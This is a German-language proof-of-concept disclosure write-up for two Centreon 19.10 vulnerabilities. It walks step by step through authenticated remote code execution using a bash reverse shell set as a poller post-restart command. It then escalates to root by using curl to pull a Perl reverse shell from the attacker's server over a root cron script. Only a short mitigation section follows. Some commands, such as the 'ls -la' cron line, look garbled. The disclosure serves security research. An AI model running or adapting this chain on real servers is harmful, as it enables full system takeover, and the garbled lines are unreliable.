
Centreon =<19.10 Authentifiziertes RCE
Beweis des Konzepts
Entdeckt von:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Authentifizierte Remote-Code-Ausführung:
Beginnen wir, indem wir uns als Benutzer Admin im Centreon-Webpanel anmelden.
Nach der Anmeldung navigieren wir zu Configuration > Commands > Miscellaneous
Klicken Sie auf Add, wie im Bild unten gezeigt.
Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl.
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
Und klicken Sie auf Save.
Nun navigieren wir zu Configuration > Pollers und klicken auf unseren aktuellen Central-Poller.
Dies gewährt Ihnen Zugriff auf das Menü Modify a poller Configuration.
Hier können wir nach unten scrollen und einen Post-restart command festlegen.
Wählen Sie die zuvor erstellte Reverse-Shell aus und klicken Sie auf Save.
Wir können nun den Netcat-Listener auf unserem lokalen Rechner starten.
Schließlich klicken wir im Menü Configuration > Pollers auf die Schaltfläche Export configuration.
Wählen Sie unseren Central-Poller im Dropdown-Feld Pollers aus.
Deaktivieren Sie die Kontrollkästchen Generate Configuration Files und Run monitoring engine debug (-v).
Aktivieren Sie die Kontrollkästchen Restart Monitoring Engine und Post generation command.
Wählen Sie Restart im Dropdown-Feld Method.
Nach dem Klick auf Export wird der Poller neu gestartet und somit der zuvor konfigurierte Post-Restart Command ausgeführt. Dies ist der Moment, in dem unser Reverse-Shell-Listener eine Verbindung erhält.
Authentifizierte Remote-Code-Ausführung erfolgreich!
(Dies war der Write-up für CVE-2019-19699)
Von hier aus bewegen wir uns zum Erlangen von Root-Rechten.
Wir verwenden CVE-2019-16406, entdeckt von TheCyberGeek, um den Centreon-Server =< 19.10 vollständig zu kompromittieren.
Beginnen wir damit, eine TTY-Shell in unserem aktuellen Reverse-Shell-Terminal zu spawnen.
python -c 'import pty; pty.spawn("/bin/sh")'
Wir werfen nun einen Blick darauf, welche Cron-Aufgaben existieren, indem wir cat /etc/cron.d/* ausführen.
Wir sehen nun, dass centreon_autodisc.pl eine Cron-Aufgabe ist.
(Wurde für Demonstrationszwecke von 30 22 * * * root auf * * * * * root gesetzt)
Diese wird als Root ausgeführt. Ersetzen wir centreon_autodisco.pl durch eine Perl-Reverse-Shell.
Die Perl-Shell, die ich verwenden werde, kann hier heruntergeladen werden.
Laden Sie die Reverse-Shell herunter und passen Sie die IP-Adresse und den Port auf Ihre an, wie auf der Webseite beschrieben.
Führen Sie ein mv aus, um die Datei perl-reverse-shell.pl lokal in centreon_autodisco.pl umzubenennen.
Starten wir nun einen lokalen SimpleHTTPServer auf einem Port Ihrer Wahl.
Auf diese Weise können wir curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl verwenden, um die vorhandene centreon_autodisco.pl durch unsere trojanische Perl-Reverse-Shell zu ersetzen.
Nun, da die Datei ersetzt wurde, müssen wir nur noch einen Netcat-Listener auf dem zuvor konfigurierten Port starten, und wir erhalten eine Verbindung vom Server als Benutzer Root!
Root-Systemzugriff erfolgreich!
Weiter zu den Notizen, wie wir denken, dass die Rechteausweitung gemildert werden sollte!
Aktuelle Einstellungen in 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Abhilfe für /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Wie Sie sehen, gehört es jetzt Root, die Gruppe apache kann es nur lesen und ausführen, centreon kann es nur ausführen, daher beeinträchtigt es die Funktionalität nicht.